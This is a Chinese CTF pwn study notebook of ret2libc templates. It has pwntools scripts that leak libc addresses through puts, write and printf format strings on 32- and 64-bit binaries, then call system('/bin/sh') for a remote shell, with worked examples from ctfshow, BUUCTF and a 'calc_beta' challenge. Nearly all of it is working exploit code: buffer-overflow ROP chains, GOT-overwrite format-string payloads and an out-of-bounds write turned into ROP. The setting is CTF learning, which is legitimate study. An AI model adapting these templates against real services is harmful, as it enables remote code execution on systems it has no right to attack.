碰到一题学一题不断更新
libc泄露
这里主要记录模版和相关例题,在没有直接给system(/bin/sh)的题目,并且有put,write等函数的时候可以考虑libc泄露
puts泄露
puts(32位)
例题:ctfshow的pwn48
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * from LibcSearcher import *
r = remote("pwn.challenge.ctf.show", 28274) elf = ELF('./pwn48') offset = 0x6B + 0x4 main_addr = elf.sym['main'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got) r.sendline(payload) puts_addr = u32(r.recvuntil('\xf7')[-4:]) print(hex(puts_addr)) libc = LibcSearcher('puts', puts_addr) libc_case = puts_addr - libc.dump('puts') system_addr = libc_case + libc.dump('system') bin_sh = libc_case + libc.dump('str_bin_sh') payload = offset * b'a' + p32(system_addr) + p32(0) + p32(bin_sh) r.sendline(payload) r.interactive()
|
puts(64位)
例题:ctfshow的pwn,这题write和puts都有这里只用puts,write下面有别的例题
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * from LibcSearcher import *
r = remote("pwn.challenge.ctf.show", 28220) elf = ELF("./pwn46") puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] main = elf.sym["main"] offset = 0x70+8 rdi_ret = 0x0000000000400803 ret = 0x00000000004004fe payload1 = b"a"*offset+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) r.recvuntil("O.o?\n") r.sendline(payload1) puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr)) libc=LibcSearcher("puts",puts_addr) libc_base=puts_addr-libc.dump("puts") system=libc_base+libc.dump("system") binsh=libc_base+libc.dump("str_bin_sh") print(hex(system)) print(hex(binsh)) payload2=b"a"*offset+p64(rdi_ret)+p64(binsh)+p64(system) r.sendline(payload2) r.interactive()
|
获取rdi,ret的地址可以通过ROPgadget
1
| ROPgadget --binary ./pwn46 --only "pop|ret"
|
write泄露
write(32位)
例题:BUUCTF的jarvisoj_level3
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * from LibcSearcher import *
r=remote('node5.buuoj.cn',27119) elf=ELF('./level3') main = elf.sym["main"] write_plt=elf.plt['write'] write_got=elf.got['write'] offset = 0x88+4 payload=b'a'*offset+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.recvuntil('Input:\n') r.sendline(payload) write_addr=u32(r.recv(4)) print(hex(write_addr)) libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') system=libc_base+libc.dump('system') sh=libc_base+libc.dump('str_bin_sh')
payload=b'a'*offset+p32(system)+p32(main)+p32(sh)
r.sendline(payload)
r.interactive()
|
write(64位)
例题:BUUCTF的jarvisoj_level3_x64
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * from LibcSearcher import *
elf = ELF('./level3_x64')
r = remote('node5.buuoj.cn', 28476)
write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.symbols['main']
pop_rdi = 0x04006b3 pop_rsi_r15 = 0x4006b1
offset = 0x80 + 0x08
payload = flat( [b'A'] * offset, p64(pop_rdi), p64(1), p64(pop_rsi_r15), p64(write_got), p64(0), p64(write_plt), p64(main_addr) )
r.sendlineafter(b'Input:\n', payload)
write_leak = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) log.success(f'write@libc: {hex(write_leak)}')
libc = LibcSearcher('write', write_leak) libc_base = write_leak - libc.dump('write') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.info(f'libc base: {hex(libc_base)}') log.info(f'system@libc: {hex(system_addr)}') log.info(f'/bin/sh@libc: {hex(bin_sh_addr)}')
payload2 = flat( b'A' * offset, p64(pop_rdi), p64(bin_sh_addr), p64(system_addr) )
r.sendline(payload2)
r.interactive()
|
本题的rdx已被填写所以不用考虑,并且此题也找不到rdx

如果有rdx的话
1 2 3 4 5 6 7 8 9 10 11 12
| payload = flat( [b'A'] * offset, p64(pop_rdi), p64(1), p64(pop_rsi_r15), p64(write_got), p64(0), p64(pop_rdx), p64(8), p64(write_plt), p64(main_addr) )
|
printf泄露(格式化字符串)
例题:ctfshow的pwn95
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * from LibcSearcher import *
r = remote('pwn.challenge.ctf.show',28269) elf = ELF("./pwn")
offset = 6 printf_got = elf.got['printf'] payload1 = p32(printf_got) + b'%6$s' r.send(payload1) printf_addr = u32(r.recvuntil('\xf7')[-4:]) libc = LibcSearcher('printf',printf_addr) libc_base = printf_addr - libc.dump('printf') system_addr = libc_base + libc.dump('system') payload = fmtstr_payload(offset,{printf_got:system_addr})
r.send(payload) r.send('/bin/sh') r.interactive()
|
例题:axb_2019_fmt64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='amd64')
sh=remote('node5.buuoj.cn',26272) elf = ELF('./pwn') libc = ELF('./libc-2.23.so') puts_got=elf.got['puts'] printf_got =elf.got['printf'] main = elf.sym['main']
payload1 = b'%9$saaaa'+p64(puts_got) sh.sendlineafter('Please tell me:',payload1) puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print('puts_add=>',hex(puts_addr)) libc.address = puts_addr-libc.sym['puts'] system_addr = libc.sym['system'] printf_addr = libc.sym['printf'] print('system_add=>',hex(system_addr)) print('printf_add=>',hex(printf_addr))
sysaddr1=system_addr&0xff sysaddr2=(system_addr&0xff00)>>8 sysaddr3=(system_addr&0xff0000)>>16 print('sys1=>',hex(sysaddr1)) print('sys2=>',hex(sysaddr2)) print('sys3=>',hex(sysaddr3))
sysaddr1_value = sysaddr1-9 result = sysaddr2-sysaddr1 sysaddr2_value=result if result>0 else result+0x100 result = sysaddr3-sysaddr2 sysaddr3_value=result if result>0 else result+0x100
payload2=b'%'+bytes(str(sysaddr1_value),encoding='utf-8')+b'c'+b'%13$hhn' payload2+=b'%'+bytes(str(sysaddr2_value),encoding='utf-8')+b'c'+b'%14$hhn' payload2+=b'%'+bytes(str(sysaddr3_value),encoding='utf-8')+b'c'+b'%15$hhn' payload2=payload2.ljust(40,b'a') print('len=>',len(payload2)) print(payload2) payload2+=p64(printf_got)+p64(printf_got+1)+p64(printf_got+2)
sh.sendline(payload2) payload3 = b';/bin/sh' sh.sendline(payload3) sh.interactive()
|
newstar2025 calc_beta
参考链接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| int __fastcall main(int argc, const char **argv, const char **envp) { char s[136]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); memset(s, 0, 0x80uLL); while ( 1 ) { switch ( (unsigned int)menu() ) { case 1u: show_numbers(s); break; case 2u: edit_numbers(s); break; case 3u: memset(s, 0, 0x80uLL); break; case 4u: beta_puts("*** 浣犱笉蹇呭湪\"calc\"閲岄潰鎼滅储婕忔礊 ***"); beta_puts(&unk_401418); calc(s); break; case 5u: return 0; default: beta_puts("Invalid choice meow!"); break; } } }
|
1 2 3 4 5 6 7 8 9
| int __fastcall show_numbers(__int64 a1) { int result; int i;
for ( i = 0; i <= 15; ++i ) result = printf("num%d = %lld\n", (unsigned int)(i + 1), *(_QWORD *)(8LL * i + a1)); return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| __int64 *__fastcall edit_numbers(__int64 a1) { __int64 *result; __int64 v2; unsigned int v3;
beta_puts("Which number?"); v3 = getnum(); if ( v3 >= 0x11 ) return (__int64 *)beta_puts("Invalid index!"); beta_puts("Change to what?"); v2 = getnum(); result = (__int64 *)(8LL * (int)(v3 - 1) + a1); *result = v2; return result; }
|
edit_numbers 函数 - 主要利用点
主函数中s在栈上内存与edit函数的返回地址相邻,s[0]的数据可以修改,故可以当成栈溢出构造ROP链来打。和ret2libc一样
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * context(arch='amd64',log_level='debug') file = './calc' elf = ELF(file) libc = ELF("./libc.so.6") s = lambda data :p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) r = lambda num=4096 :p.recv(num) rl = lambda :p.recvline() ru = lambda text :p.recvuntil(text) uu32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00")) uu64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) inf = lambda s :info(f"{s} ==> 0x{eval(s):x}") def show(): ru("5. Exit") sl("1") def edit(number,data): ru("5. Exit") sl("2") ru("Which number?") sl(str(number)) ru("Change to what?") sl(str(data)) p=remote("39.106.48.123",17610)
atoll_got = elf.got['atoll'] pop_rdi=0x401253 pop_rsi_r15=0x401251 edit(1,atoll_got) edit(2,0x400857) edit(3,0x4006b6) edit(4,0x40116A) edit(0,pop_rdi) ru("> ") atoll_addr=u64(p.recv(6).ljust(8,b"\x00")) print("write_addr",atoll_addr) libcbase = atoll_addr - libc.symbols['atoll'] system_addr = libcbase + libc.symbols['system'] binsh_addr = libcbase + next(libc.search(b'/bin/sh')) ret=0x4006b6 ru("> ") sl("8") ru("Change to what?") sl(str(binsh_addr)) edit(6,binsh_addr) edit(7,system_addr) edit(5,pop_rdi) edit(4,ret) p.interactive()
|